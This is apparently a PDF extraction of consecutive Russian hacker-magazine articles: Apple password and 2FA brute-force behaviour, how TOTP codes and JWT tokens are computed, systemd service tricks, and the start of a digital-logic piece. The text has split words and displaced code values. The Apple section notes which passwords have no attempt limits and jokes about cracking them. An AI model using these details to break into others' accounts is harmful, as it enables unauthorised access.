а  так же  по  край ней  мере  одну  циф ру.  Кро ме  того,  нель зя  уста новить
пароль, который уже исполь зовал ся ранее.

• Па роль  от  iCloud.

 Огра ниче ния отсутс тву ют.• Па роль от резер вной копии iTunes.

 Всег да ров но четыре циф ры.• Па роль «Экранно го вре мени».

  Доверен ными  устрой ства ми  могут
стать  толь ко  устрой ства  из  эко сис темы  Apple  (iPhone,  iPad,  компь ютер
Mac).  Тре бует ся  наличие  хотя  бы  одно го  доверен ного  телефон ного
номера, при этом допус кает ся наличие в одной учет ной записи нес коль ких
доверен ных телефон ных номеров из раз ных стран, что может быть удоб но
в поез дках.

• Двух фактор ная  аутен тифика ция.

Од норазо вый  код  двух фактор ной  аутен тифика ции  всег да  сос тоит  из  шес ти
цифр, а вре мя дей ствия огра ниче но трид цатью секун дами. Получить его мож‐ 
но  в  виде  push‐сооб щения  на  доверен ное  устрой ство  (тре бует ся  дос туп
в  интернет,  устрой ство  необ ходимо  раз бло киро вать),  а  так же  в  виде  SMS
или  телефон ного  звон ка  на  доверен ный  телефон ный  номер.  Кро ме  того,
при  наличии  раз бло киро ван ного  устрой ства  одно разо вый  код  мож но
получить и без дос тупа к интерне ту из нас тро ек устрой ства.

РЕАКЦИЯ НА ПОПЫТКУ ПЕРЕБОРА

Боль шинс тво  поль зовате лей,  забыв ших  тот  или  иной  пароль,  попыта ется
вспом нить  его,  поп робовав  ввес ти  все  мно жес тво  ранее  исполь зован ных
паролей. Реак ция сис темы на под бор пароля будет отли чать ся в зависи мос ти
от того, какой имен но пароль ты попыта ешь ся подоб рать.

 iOS будет уве личи вать задер жку меж ду попыт‐ 
ками  вво да. Через опре делен ное  количес тво неудач ных  попыток  устрой‐ 
ство  будет  заб локиро вано:  на  экра не  появит ся  сооб щение  Connect
to  iTunes, но под клю чить  устрой ство  к  компь юте ру не  удас тся из‐за акти‐ 
виро ван ного режима защиты USB. У тебя есть некото рая сте пень кон тро‐ 
ля:  так,  в  нас трой ках  мож но  вклю чить  фун кцию  Erase  after  10  attempts,
которая  сбро сит  устрой ство  к  завод ским  нас трой кам  пос ле  десяти
неудач ных попыток.

• Код бло киров ки экра на.

  Попыт ка  подоб рать  пароль  при ведет  к  вре мен ной
бло киров ке учет ной записи. Точ ное количес тво дос тупных попыток не раз‐ 
гла шает ся.  Важ ный  момент:  если  ты  попыта ешь ся  подоб рать  код  бло‐ 
киров ки экра на устрой ства, защища ющий дос туп к «Облачной связ ке клю‐ 
чей»  (а  так же паролю «Экранно го вре мени», дан ным «Здо ровья» и сооб‐ 
щени ям),  то  сис тема  уда лит  защищен ные  дан ные  (ту  самую  «Облачную
связ ку клю чей» и далее по спис ку) пос ле десяти неудач ных попыток.

• Па роль  от  iCloud.

  Никаких  огра ниче ний.  Ломай
на здо ровье!

• Па роль  от  резер вной  копии  iTunes.

  Уве личи вающаяся  задер жка  меж ду
попыт ками вво да; пос ле десяти попыток задер жка меж ду попыт ками сос‐ 
тавля ет ров но час.

• Па роль  «Экранно го  вре мени».

  У  поль‐ 
зовате ля есть огра ничен ное чис ло попыток для вво да кода двух фактор ной
аутен тифика ции. Если код подоб рать не уда лось, будут при менять ся пра‐ 
вила реак ции на попыт ку под бора пароля от iCloud.

• Од норазо вые  коды  двух фактор ной  аутен тифика ции.

ЗАКЛЮЧЕНИЕ

В статье мы попыта лись разоб рать ся в запутан ных вза имоот ношени ях меж ду
четырь мя  (с полови ной) пароля ми Apple. Если  тебе кажет ся,  что пос ле этой
статьи ты понима ешь еще мень ше, чем до нее, — это совер шенно нор маль‐ 
но: о том, каким обра зом одни пароли вли яют на дру гие, могут уве рен но рас‐ 
суждать  раз ве  что  работ ники  Apple,  которые  эту  сис тему  про екти рова ли.
С  нашей  точ ки  зре ния,  соз данная  Apple  сис тема  про дума на  не  до  кон ца
и мес тами нелогич на. Самыми нелогич ными решени ями Apple нам пред став‐ 
ляют ся  воз можнос ти  сбро са  пароля  от  резер вной  копии  iTunes  и  пароля
от  iCloud  пос редс твом  одно го  лишь  кода  бло киров ки  экра на.  Сис тема
безопас ности,  соз данная  Google,  кажет ся  нам  гораз до  более  строй ной
и логич ной (о ней мы обя затель но напишем в будущем).

Соз дает ся  ощу щение,  что  ряд  пра вил  и  воз можнос тей  вво дились  ком‐ 
пани ей  либо  под  дав лени ем  поль зовате лей  («Как  мне  сбро сить  пароль
от резер вной копии? Что, сов сем никак? Ну вы…»), либо при попыт ке быс тро
зак рыть обна ружен ную дыру в безопас ности. Такой под ход не поз воля ет нам
искрен не пох валить соз данную в Apple сис тему безопас ности поль зователь‐ 
ской  эко сис темы.  В  то  же  вре мя  понят ны  и  при чины,  по  которым  ком пании
приш лось пой ти на ком про мис сы.

К  сожале нию,  ком пания  не  смог ла  выдер жать  баланс  меж ду  удобс твом
и  безопас ностью,  при дав  чрез мерное  зна чение  одним  фак торам  безопас‐ 
ности  (код бло киров ки экра на и вто рой фак тор аутен тифика ции) и при низив
зна чение дру гих (пароль от iCloud, который мож но узнать или сбро сить, если
есть  дос туп  хотя  бы  к  одно му  дру гому  паролю  или  вто рому  фак тору  аутен‐ 
тифика ции).  Такой  переко шен ный  баланс  дела ет  бес полез ным  и  бес смыс‐ 
ленным исполь зование слож ных паролей к резер вной копии (зачем, если его
мож но сбро сить в пару кли ков?) и паролей от iCloud (зачем, если есть вто рой
фак тор аутен тифика ции, а сам пароль мож но лег ко сбро сить с устрой ства?).

https://blog.elcomsoft.com/2019/06/unusual-iphone-backups/
https://support.apple.com/ru-ru/HT208982
https://blog.elcomsoft.com/2019/08/how-to-access-screen-time-password-and-recover-ios-restrictions-password/
https://blog.elcomsoft.com/2019/10/how-to-extract-screen-time-passcodes-and-voice-memos-from-icloud/
https://en.wikipedia.org/wiki/ICloud_leaks_of_celebrity_photos
https://support.apple.com/ru-ru/HT204915


КАК РАБОТАЮТ 

И В ЧЕМ ИХ ОТЛИЧИЯ
ОТ ПАРОЛЕЙ

ТОКЕНЫ
АУТЕНТИФИКАЦИИ

СПРАВОЧНИК АНОНИМА

Михаил Киреев
kireevmp@yandex.ru

ПРИВАТНОСТЬ

Мы  все  окру жены  пароля ми,  одно разо выми  кодами,  клю‐ 
чами и токена ми, но не всег да зна ем об их сущес тво вании.
Они каж дую минуту обес печива ют безопас ность наших акка‐ 
унтов и дан ных. Одна ко нам с тобой важ но знать, как имен но
устро ены  самые  базовые  механиз мы  защиты  информа ции.
Один из них — это токены аутен тифика ции, которые повыша‐ 
ют  надеж ность  защиты  дан ных  и  при  этом  не меша ют  ком‐ 
фор тно поль зовать ся сер висами.

Спра воч ник ано нима
Статьи  из  это го  цик ла  пуб лику ются  бес плат но  и  дос тупны  всем.  Мы  убеж‐ 
дены, что каж дый име ет пра во на базовые зна ния о защите сво их дан ных.

Дру гие статьи цик ла:
« »;• Те ория и прак тика шиф рования поч ты
« »;• Ви ды шиф рования и защиты тра фика, выбор соф та
« »;• Как шиф ровать перепис ку в Jabber: пошаго вая инс трук ция
« ».• Де лаем шпи онскую флеш ку с защищен ной опе раци онкой Tails

Ес ли для тебя эти матери алы три виаль ны — отлично! Но ты сде лаешь доб рое
дело,  отпра вив  ссыл ку  на  них  сво им  друзь ям,  зна комым  и  родс твен никам,
менее под кован ным в тех ничес ких воп росах.

ПОДПИСЫВАЕМСЯ ПОД ДАННЫМИ
И людям, и прог раммам нуж но знать, что дан ные были соз даны доверен ным
источни ком и оста лись неиз менны ми. Для это го была при дума на тех нология
генера ции спе циаль ного хеша (под писи), который под твержда ет целос тность
информа ции и дос товер ность ее отпра вите ля/соз дателя. Для соз дания этой
самой  под писи  исполь зует ся  схе ма  из  нес коль ких  шагов,  цель  которых  —
защитить дан ные от под делки.

Схе ма генера ции HMAC (hash‐based message authentication code), кода
аутен тифика ции сооб щений с исполь зовани ем хеш‐фун кции

Ал горитм хеширо вания может менять ся, но суть это го под хода прос та и неиз‐ 
менна: для под твержде ния целос тнос ти сооб щения необ ходимо сно ва най ти
под пись защища емых дан ных и срав нить ее с име ющей ся под писью.

ПРИДУМЫВАЕМ КОДЫ ДОСТУПА
Лю ди, которые при дума ли двух фактор ную аутен тифика цию, по всей видимос‐ 
ти,  руководс тво вались  прин ципом  «одна  голова  хорошо,  а  две  —  луч ше».
И  дей стви тель но  —  два  пароля  точ но  безопас нее  одно го.  Но  пароли,
которые  отправ ляет  сайт  в  SMS,  нель зя  наз вать  абсо лют но  защищен ными:
сооб щение чаще все го мож но перех ватить. Дру гое дело — спе циаль ные при‐ 
ложе ния для аутен тифика ции, они нацеле ны на пол ную защиту все го про цес‐ 
са вхо да поль зовате ля в акка унт. Имен но их мы сей час с тобой и раз берем.

Соз дание безопас ных одно разо вых паролей сос тоит из двух эта пов:
1. Пер вичная нас трой ка — вклю чение двух фактор ной аутен тифика ции.
2. Ис поль зование  пароля  —  непос редс твен ный  ввод  кода  и  отправ ка
для про вер ки.

В таком слу чае поль зователь с помощью при ложе ния, дос тупно го на любом
устрой стве, смо жет  генери ровать  коды в соот ветс твии со все ми стан дарта‐ 
ми.

Пер воначаль ная нас трой ка при ложе ния зак люча ется в обме не сек ретным
клю чом  меж ду  сер вером  и  при ложе нием  для  аутен тифика ции.  Затем  этот
сек ретный  ключ  исполь зует ся  на  устрой стве  кли ента,  что бы  под писать  дан‐ 
ные, которые извес тны и сер веру, и кли енту. Этот ключ и слу жит глав ным под‐ 
твержде нием лич ности поль зовате ля при вво де пароля на сер вере.

На  самом  деле  весь  сек рет  —  пос ледова тель ность  из  слу чай ных  сим‐ 
волов,  которые  закоди рова ны  в  фор мате  Base32.  Сум марно  они  занима ют
не мень ше 128 бит,  а  чаще и  все 190 бит. Эту  пос ледова тель ность и  видит
поль зователь как текст или QR‐код.

Так выг лядит код QR для обме на сек ретом

Тот же самый сек рет, толь ко тек стом

Как  при ложе ние  соз дает  одно разо вые  коды?  Все  прос то:  при ложе ние
с  помощью  клю ча  хеширу ет  какое‐то  зна чение,  чаще  все го  чис ло,  берет
опре делен ную часть получив шегося хеша и показы вает поль зовате лю в виде
чис ла из шес ти или вось ми цифр.

С  самого  начала  для  это го  чис ла  раз работ чики  исполь зовали  прос той
счет чик  вхо дов.  Сер вер  счи тал  количес тво  раз,  которое  ты  заходил,  нап‐ 
ример,  на  сайт,  а  при ложе нию  было  извес тно,  сколь ко  раз  ты  зап рашивал
одно разо вый пароль. Имен но это зна чение и исполь зовалось для соз дания
каж дого сле дующе го одно разо вого кода. В сов ремен ных при ложе ниях вмес‐ 
то  счет чика  берет ся  текущее  вре мя  —  и  это  нам ного  удоб нее  для  поль‐ 
зовате ля:  счет чики  вхо дов  час то  сби вались,  и  их  при ходи лось  нас тра ивать
заново.

Те перь давай поп робу ем пос читать код для авто риза ции самос тоятель но.
Для  при мера  пред ста вим,  что мы  решили  пря мо  в Новый  год  опуб ликовать
фотог рафию кра сиво го фей ерверка и, что бы это сде лать, нуж но вой ти в свой
акка унт, а зна чит, нам не обой тись без одно разо вого пароля.

Возь мем  вре мя  праз дно вания  Нового  года  в  фор мате  UNIX
( )  и  пос чита ем  поряд ковый  номер  нашего  пароля:  поделим
на  30  секунд  —  .  Вос поль зуем ся  нашим  сек ретом  и  вычис лим
хеш —   это фун кция SHA‐1:

1577811600000
52593720

по стан дарту RFC 6238

$ echo ‐n '52593720' | openssl sha1 ‐hmac 'QWERTYUI12345678'
e818e7f3efcb625658c603b08b12522f1e4d160a

Не  забудь  про  аргу мент    для  коман ды  ,  что бы  в  ее  выводе  не  было
ненуж ного перево да стро ки, ина че хеш будет дру гим.

‐n echo

Те перь дело за малым: нуж но получить шесть цифр, которые мы и будем
отправ лять  на  сер вер  при  авто риза ции.  Возь мем  пос ледние  четыре  бита
хеша —  сдвиг, —  это  будет  чис ло  ,  или  10.  Имен но  по  это му  сдви гу  рас‐ 
положен  наш  код,  который  пока  в  виде  бай тов,  —    =  .
Отбро сим  все  циф ры  это го  чис ла,  кро ме  шес ти  пос ледних,  и  получим  наш
новень кий, готовый к исполь зованию одно разо вый код —  .

a
03b08b12 61901586

901586

ВХОДИМ В ПРИЛОЖЕНИЕ
Ни  одно  сов ремен ное  при ложе ние  не  спра шива ет  пароль  у  поль зовате ля
пос тоян но,  пос коль ку  поль зовате лей  это  раз дра жает.  Имен но  поэто му  раз‐ 
работ чики и уче ные‐крип тогра фы при дума ли токены, которые могут заменить
собой пару логин — пароль. Перед уче ными сто яла задача не столь ко скрыть
какую‐то  информа цию,  сколь ко  соз дать  общий  стан дарт  для  ее  хра нения
и под твержде ния ее надеж ности. Для все го это го была при дума на тех нология

 (JWT).JSON Web Token

КАК РАБОТАЕТ JWT?
Ес ли  есть  дан ные,  дос товер ность  которых  сле дует  под твер дить,  нам  надо
под писать  их  сек ретным  клю чом,  исполь зуя  HMAC.  Для  это го  при меня ется
такой же спо соб хеширо вания, что и для одно разо вых паролей, толь ко вмес‐ 
то шес ти цифр берет ся весь хеш целиком. Единс твен ная раз ница — это сам
алго ритм  хеширо вания:  в  таких  токенах  SHA‐1  счи тают  слиш ком  корот ким
и небезо пас ным, поэто му обыч но исполь зуют SHA‐256.

Глав ная  задача  JWT  —  под твержде ние  лич ности  соз дателя  токена
и  сопутс тву ющих  дан ных.  Обыч но  содер жимое  токена  —  логин  или  дру гой
иден тифика тор поль зовате ля.

Да вай поп робу ем соз дать свой токен. Про дол жим нашу малень кую исто‐ 
рию с пуб ликаци ей фотог рафии фей ерверка в соц сети: мы вве ли одно разо‐ 
вый  пароль,  сер вер  под твер дил  нашу  лич ность  и  хочет  выдать  токен,  что бы
мы смог ли с его помощью открыть наше при ложе ние.

Лю бой  токен  сос тоит  из  трех  час тей:  заголов ка  со  слу жеб ной  информа‐ 
цией,  дан ных  и  под писи.  Так  как  стан дартом  безопас ности  счи тает ся  SHA‐
256, то мы запишем его в наш заголо вок.

{
 "alg": "HS256"

}

Внут ри самого токена будет хра нить ся информа ция об иден тифика торе акка‐ 
унта, в который мы толь ко что вош ли.

{
 "user_id": 123456

}

За коди руем наши дан ные и  заголо вок в Base64 и соеди ним их  через  точ ку.
Это  дела ется,  что бы  безопас но  пересы лать  дан ные  через  HTTP: 

.  Теперь,  зная  и  дан ные,
и заголо вок, мы можем пос читать ее  хеш,  который содер жит наш пароль —
стро ку  .

eyJhbG‐
ciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjogMTIzNDU2fQ

QWERTYUI12345678

$ echo ‐n 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjogMTIzNDU2fQ' | 
openssl sha256 ‐hmac 'QWERTYUI12345678'
e0a6b48a961ee3fc7eb38afcdb1a8ef22efb0572e1d5333b85db2aa66919e98e

Этот хеш нам тоже надо перевес ти в кодиров ку Base64 и затем при соеди нить
к  уже  име ющей ся  стро ке  из  заголов ка  и  дан ных: 

 — это и есть наш токен. Мож но поль зовать ся!

eyJhbGciOiJIUzI1NiJ9.
eyJ1c2VyX2lkIjogMTIzNDU2fQ.4Ka0ipYe4/x‐s4r82xqO8i77BXLh1TM7hd‐
sqpmkZ6Y4

Так выг лядит наш токен

WWW

Под робнее  про  стан дарт  JWT  мож но  почитать
на  ,  а  про  реали зацию
для сво его любимо го язы ка — на  .

сай те  орга низа ции  RFC
сай те jwt.io

ЗАКЛЮЧЕНИЕ
Те перь  ты  зна ешь,  что  про исхо дит  каж дый  день,  ког да  ты  откры ваешь  бра‐ 
узер и  заходишь в  какой‐нибудь веб‐сер вис. Понимая,  как это работа ет,  ты
смо жешь луч ше защитить свои дан ные, а воз можно, даже решишь при менить
какой‐то из этих методов в сво их раз работ ках.

mailto:kireevmp@yandex.ru
https://xakep.ru/2019/06/25/emails-encryption/
https://xakep.ru/2019/05/24/anonymize-howto/
https://xakep.ru/2017/07/21/jabber-otr-howto/
https://xakep.ru/2016/11/01/tails-live-flash/
https://tools.ietf.org/html/rfc6238
https://ru.wikipedia.org/wiki/JSON_Web_Token
https://tools.ietf.org/rfc/rfc7519.txt
https://jwt.io/
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ТРЮКИ

Нес мотря на мно жес тво проб лем и про тиво речи вые чувс тва
поль зовате лей,  systemd  уже  стал  стан дартом  де‐фак то
в боль шинс тве дис три бути вов Linux. С его помощью соз дать
нес ложный сер вис мож но за пару минут и десяток строк нас‐ 
тро ек. В то же вре мя мно гие более инте рес ные воз можнос‐ 
ти докумен тирова ны не очень понят ным язы ком или тре буют
углублен ных поз наний в тон костях работы systemd.

ОСНОВЫ
Ес ли ты еще никог да не делал свои сер висы, нач нем с основ. Systemd опе‐ 
риру ет абс трак тны ми еди ница ми  (unit),  которые быва ют раз ных типов, могут
пре дос тавлять  раз личные  ресур сы  (про цес сы,  сокеты,  абс трак тные  «цели»)
и тре бовать дру гих ресур сов для запус ка.

Са мый рас простра нен ный вид ресур са — сер вис  (service). Фай лы с опи‐ 
сани ями сер висов и все го про чего лежат в катало ге  .
Что бы systemd нашел новый сер вис, дос таточ но положить в этот каталог свой
файл. Если этот сер вис ранее не сущес тво вал, systemd про чита ет файл и заг‐ 
рузит его в память. Одна ко, если ты редак тиру ешь файл ранее запущен ного
сер виса,  не  забудь  зас тавить  systemd  перечи тать  фай лы  коман дой 

!

/lib/systemd/system/

sudo 
systemctl daemon‐reload

Сер висы типа oneshot — долой rc.local
Ког да‐то  стан дар тным  спо собом  добавить  выпол нение  команд  в  заг рузку
сис темы было дописать их в /etc/rc.local. Оче вид ный недос таток — нет спо‐ 
собов сле дить, нас коль ко успешно они выпол нились. В systemd лег ко соз дать
для такой цели свой сер вис типа oneshot, и им мож но будет управлять через
systemctl, как любым дру гим. В этом слу чае systemd выпол нит коман ду и пос‐ 
чита ет запуск сер виса успешным, если она завер шилась с кодом ноль.

Сох раним сле дующий файл в  :/lib/systemd/system/dumb‐test.service

[Unit]
 Description=Dumb test

[Service]
 ExecStart=/bin/true
 Type=oneshot

[Install]
 WantedBy=multiuser.target

До пол нитель ных  дей ствий  не  тре бует ся,  и  теперь  ты  можешь  делать  с  ним
все то же, что с сис темны ми сер висами: запус тить с помощью 

,  пос тавить  на  заг рузку  с  помощью 
 и так далее.

sudo system‐
ctl  start  dumb‐test.service sudo 
systemctl enable dumb‐test.service

Де лаем сер вис из любой прог раммы
Лю бой дол гоживу щий про цесс мож но лег ко прев ратить в сер вис с помощью
опции  . В этом слу чае systemd перех ватит стан дар тные потоки вво‐ 
да‐вывода и будет сле дить за жизнью про цес са.

Type=idle

Для  демонс тра ции  напишем  прог рамму  на  Python,  которая  прос то
выводит  сооб щение  в  бес конеч ном  цик ле.  Сох раним  в 

 сле дующее:
/usr/local/bin/

test.py

import time

while True:
   print("Test service is alive")
   time.sleep(5)

За тем  соз дадим  для  нее  файл  сер виса  в 
:

/lib/systemd/system/smart‐
test.service

[Unit]
 Description=Smart test

[Service]
 ExecStart=/usr/bin/python3 ‐u /usr/local/bin/test.py
 Type=idle
 KillMode=process

 SyslogIdentifier=smart‐test
 SyslogFacility=daemon

 Restart=on‐failure

[Install]
 WantedBy=multiuser.target

Те перь мож но запус тить наш сер вис и убе дить ся, что он работа ет:

$ sudo systemctl status smart‐test.service
smart‐test.service ‐ Smart test
  Loaded: loaded (/usr/lib/systemd/system/smart‐test.service; static
; vendor preset: disabled)
  Active: active (running) since Fri 2019‐10‐25 16:25:18 +07; 1s ago
Main PID: 19893 (python3)
   Tasks: 1 (limit: 4915)
  Memory: 3.5M
  CGroup: /system.slice/smart‐test.service
          └─19893 /usr/bin/python3 ‐u /usr/local/bin/test.py

Стан дар тный  вывод  прог раммы  пишет ся  в  journald,  и  его  мож но  уви деть
в  .  Ради  инте реса  пос мотрим  на  работу  опции

. Оста новим наш про цесс с помощью 
 и заг лянем в логи:

journalctl  ‐u  smart‐test
Restart=on‐failure kill ‐9 ${Main 
PID}

 

 

systemd[1]: Started Smart test. 
Test service is alive 
Test service is alive 
smart‐test.service: Main process exited, code=killed, status=9/KILL 
smart‐test.service: Failed with result 'signal'. 
smart‐test.service: Service RestartSec=100ms expired, scheduling 
restart. 
smart‐test.service: Scheduled restart job, restart counter is at 1. 
Stopped Smart test. 
Started Smart test. 
Test service is alive

Для  нас тоящих  демонов  нуж но  исполь зовать  тип  ,  но  мы  не  будем
вда вать ся в детали — авто ры таких пакетов навер няка все уже зна ют сами.

forking

За виси мос ти и порядок запус ка
Оп ций для нас трой ки зависи мос ти в systemd очень мно го. Преж де все го нуж‐ 
но отме тить, что в нем есть два незави симых механиз ма для ука зания 
 запус ка сер висов и   меж ду ними.

по ряд- 

ка за виси мос тей

По рядок запус ка сер висов
По рядок  запус ка  сер висов  опре деля ется  опци ями    и  .  Если
в нас трой ках сер виса  foo написа но   и оба сер виса дол‐ 
жны запус тить ся, то systemd сна чала выпол нит попыт ку запус тить bar, а затем
foo.

Before After
After=bar.service

Од нако  опция    сама  по  себе  не  пос тавит  сер вис
на  заг рузку.  Более  того,  она  никак  не  пов лияет  на  решение  запус кать  foo,
даже если запуск bar завер шится неуда чей.

After=bar.service

При чина  сущес тво вания  этих  опций  —  спо соб ность  systemd  запус кать
сер висы парал лель но.

Для при мера возь мем типич ный веб‐сер вер с набором из веб‐при ложе‐ 
ния FCGI, СУБД и обратно го прок си. В каком поряд ке запус кать про цесс FCGI
и обратный прок си, не так важ но. Зап росы будут работать, толь ко ког да они
оба запуще ны, но «невер ный порядок» никак не помеша ет им запус тить ся.

Ес ли веб‐при ложе ние тре бует дан ных из базы для ини циали зации, то мало
убе дить ся,  что  и  про цесс  FCGI,  и  СУБД  запуще ны,  —  при ложе ние  нуж но
запус кать  толь ко  пос ле  пол ного  запус ка  СУБД.  Имен но  для  этих  слу чаев
и пред назна чены опции  .Before/After

За виси мос ти
За виси мос ти быва ют двух видов: мяг кие и жес ткие. Если оба сер виса запус‐ 
тились  успешно,  то  никакой  раз ницы  меж ду  ними  нет.  Раз личие  всту пает
в  дей ствие,  если  один  из  сер висов  не  смог  запус тить ся:  если  зависи мость
мяг кая, то зависи мые сер висы все рав но будут запуще ны, а если жес ткая, то
systemd не ста нет даже про бовать их запус тить.

Мяг кие  зависи мос ти  ука зыва ются  с  помощью  опции    в  сек ции 
 При мер из  :

Wants=
.[Unit] sshd.service

[Unit]
Description=OpenSSH server daemon
Documentation=man:sshd(8) man:sshd_config(5)
After=network.target sshd‐keygen.target
Wants=sshd‐keygen.target

Цель  , оче вид но, генери рует ключ хос та, если он отсутс‐ 
тву ет.  Тех ничес ки  sshd  не  смо жет  запус тить ся  без  клю ча  хос та,  поэто му,
почему  авто ры  решили  сде лать  зависи мость мяг кой,  мож но  толь ко  догады‐ 
вать ся.  Воз можно,  они  пос читали,  что  в  боль шинс тве  слу чаев  ключ  уже
сущес тву ет и уста рев ший ключ луч ше нерабо тающе го SSH.

sshd‐keygen.target

INFO

При  копиро вании  нас тро ек  из  пакетов  дис три‐ 
бути ва  нуж но  быть  осто рож ным.  Раз работ чики
дис три бути вов  тоже  люди  и  впол не  могут  соз‐ 
давать  неоп тималь ные  или  оши боч ные  кон‐ 
фигура ции.  Кро ме  того,  если  что‐то  работа ет
для одно го сер виса, сов сем не факт, что оно же
подой дет  для  дру гого,  так  что  све ряй ся
с докумен таци ей и тес тируй перед выпус ком.

Жес ткие зависи мос ти мож но ука зать с помощью опции  . К при меру,
в    есть  опция 

 — оче вид но, отпра вить коман ду journald невоз можно, пока он
не запущен.

Requires
systemd‐journal‐flush.service Requires=systemd‐jour‐

nald.service

У этой опции сущес тву ют вари ации, нап ример  . Пос‐ 
мотрим в файл  :

RequiresMountsFor
logrotate.service

[Unit]
Description=Rotate log files
Documentation=man:logrotate(8) man:logrotate.conf(5)
RequiresMountsFor=/var/log

Для  работы  logrotate  нужен  дос туп  к  катало гу  с  логами  и  боль ше  ничего.
Опция    поз воля ет  выразить  имен но  это:  сер‐ 
вис  запус тится,  как  толь ко  будет  при мон тирован  каталог,  содер жащий  путь 

 даже если он находит ся не в кор невом раз деле.

RequiresMountsFor=/var/log

,/var/log

ВНЕДРЯЕМСЯ В ЗАВИСИМОСТИ К ЧУЖИМ СЕРВИСАМ
В сис темах с System V  init  добавить  что‐то  в  зависи мос ти  к  чужому сер вису
мож но  было,  лишь  отре дак тировав  его  скрипт.  Такие  изме нения,  оче вид но,
не пережи вут обновле ния сис темы, поэто му сде лать их пос тоян ными мож но
было бы толь ко перес боркой пакета.

В  systemd  есть  нес коль ко  спо собов  решить  эту  проб лему.  Если  нуж но
имен но  внед рить ся  к  кому‐то  в  зависи мос ти,  мож но  поп робовать  опции
обратных  зависи мос тей:    и  .  Они  дол жны  находить ся
в сек ции  , а не  . Под водных кам ня здесь два: они обра баты‐ 
вают ся  толь ко  при  уста нов ке  сер виса  с  помощью    и,
как все в systemd, не всег да нор маль но работа ют во всех вер сиях.

WantedBy RequiredBy
[Install] [Unit]

systemctl  enable

Вто рой  вари ант,  который  поз воля ет  менять  любые  нас трой ки:  ско пиро‐ 
вать файл  сер виса  в  .  Если  один файл  при сутс тву ет
в обо их катало гах, то файл из   име ет при ори тет.

/etc/systemd/system/
/etc/systemd/system

Тре тий,  менее  радикаль ный  вари ант:  соз дать  файл  вида 
 и про писать туда толь ко нуж ные нас трой ки.

/etc/systemd/
system/${unit}.d/local.conf

Для  при мера  прит ворим ся,  что  наш  сер вис  smart‐test  вов се  и  не  наш,
и  добавим  ему  в  зависи мос ти  sshd.service  треть им  спо собом.  Соз дадим
файл    со  сле‐ 
дующим содер жани ем:

/etc/systemd/system/smart‐test.service.d/local.conf

[Unit]
 Requires=sshd.service

Те перь  sshd.service  будет  запущен  вмес те  со  smart‐test.service,  даже  если
рань ше был вык лючен.

Ес ли важен не толь ко сам факт запус ка обо их сер висов, но и порядок их
запус ка, не забудь ука зать его с помощью опций   или  .Before After

За виси мос ти по умол чанию
Нуж но  отме тить,  что  systemd  соз дает  для  каж дого  сер виса  зависи мос ти
по  умол чанию.  В  боль шинс тве  слу чаев  это  ско рее  бла го,  потому  что  поль‐ 
зователь ские сер висы обыч но тре буют пол ностью ини циали зиро ван ной сис‐ 
темы  для  сво ей  работы. Но  если  ты  хочешь  добавить  новый шаг  в  про цесс
заг рузки сис темы,  тебе нуж но изба вить ся от этих зависи мос тей. Это мож но
сде лать опци ей  .DefaultDependencies=no

Вот такой шаб лон неп лохо работа ет для сер висов, которые дол жны запус‐ 
кать ся как мож но рань ше:

[Unit]
Description=My early boot step

DefaultDependencies=no

After=systemd‐remount‐fs.service

Прос мотреть зависи мос ти сер виса и убе дить ся, что там нет лиш него, мож но
коман дой  .systemctl list‐dependencies ${unit}

ЗАКЛЮЧЕНИЕ
Systemd мож но любить или ненави деть, но игно риро вать его невоз можно —
нуж но уметь с ним работать. Наде юсь, эти зна ния помогут тебе обра тить sys‐
temd себе на поль зу.

mailto:daniil@baturin.org
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ТРЮКИ

То,  что  компь юте ры  могут  хра нить
информа цию в памяти, мы дав но при нима‐ 
ем за дан ность, но зна ешь ли ты, как имен‐ 
но эта память работа ет? В этом матери але
мы  погово рим  о  пос ледова тель нос тной
логике,  которая  поз воля ет  компь юте рам
хра нить  информа цию.  Какие  воз можнос ти
это  откры вает  и  реаль но  ли  узнать  сек‐ 
ретный  ключ  кодово го  зам ка,  рас полагая
толь ко  его  схе мой,  —  самое  вре мя
это выяс нить!

В НАЧАЛЕ БЫЛ БИТ
Па ру  месяцев  назад  мы  прис тупили  к  изу чению 
с базово го бло ка  . Не будем изме нять тра диции и в этот раз,  тем более
что блок на самом деле не так прост, как кажет ся на пер вый взгляд. Возь мем
пароч ку и соеди ним их пос ледова тель но.

циф ровой  схе мотех ники
NOT

Кто‐то может ска зать,  что это совер шенно бес смыс ленная схе ма,  ведь сиг‐ 
нал на выходе всег да равен вход ному. Дей стви тель но, при меняя логичес кое
отри цание дваж ды, мы получа ем исходное утвер жде ние. Если ты не «белый»
хакер,  ты  «чер ный».  Не  «небелый»  —  по‐преж нему  «белый».  Это  выг лядит
как бес полез ная сло вес ная  экви либ ристи ка,  но  все меня ется,  если  в  схе ме
выше поп робовать вход зам кнуть на выход.

Те перь, если в пра вой полови не у нас высокий логичес кий уро вень, в левой
полови не  всег да будет  низ кий  (и  наобо рот). Ина че  говоря,  схе ма при обре‐ 
тает  свой ство  бис табиль нос ти  и  при нима ет  лишь  одно  из  двух  воз можных
сос тояний. Сов сем как бит памяти — или перемен ная   в С/С++.bool

Для наг ляднос ти мож но соб рать схе му на макет ной пла те. Здесь подой дет
любой инвертор — нап ример,  . Это шесть логичес ких вен тилей 
в  кор пусе DIP‐14  (целых  три  бита  информа ции,  Карл!).  Впро чем,  как  ты  уже
понима ешь, одну и ту же фун кцию мож но реали зовать нес коль кими спо соба‐ 
ми, поэто му здесь наш выбор прак тичес ки не огра ничен.

74HC04B NOT

INFO

Тут  сто ит  упо мянуть,  что  с  теми  же  целями  мы
можем исполь зовать и   (четыре эле мен‐ 
та  ). Эта мик росхе ма получи ла свой осо бый
«нулевой»  номер  в    не  прос то  так  —
логичес кая  опе рация  И  —  НЕ  обла дает  замеча‐ 
тель ным  свой ством  .
Ины ми  сло вами,  мы  можем  любой  дру гой
базовый  блок  ( ,    и  осталь ные)  раз ложить
на    бло ков  .  Ана лог  в  оте чес‐ 
твен ной мик роэлек тро нике — 155ЛА3, и это нас‐ 
толь ко  популяр ная  у  ради олю бите лей  мик росхе‐ 
ма, что в ее честь даже называ ют  .

74HC00N
NAND

се рии  74хх

фун кци ональ ной  пол ноты

AND OR
ком бинацию NAND

сай ты

Прос той при мер (как на кар тинке выше) поз воля ет на прак тике убе дить ся, что
мик росхе ма  работа ет,  как  мы  пред полага ли.  Для  мигания  све тоди ода ми
и  перек лючения  сос тояний  в  такой  ячей ке  памяти  дос таточ но  при касать ся
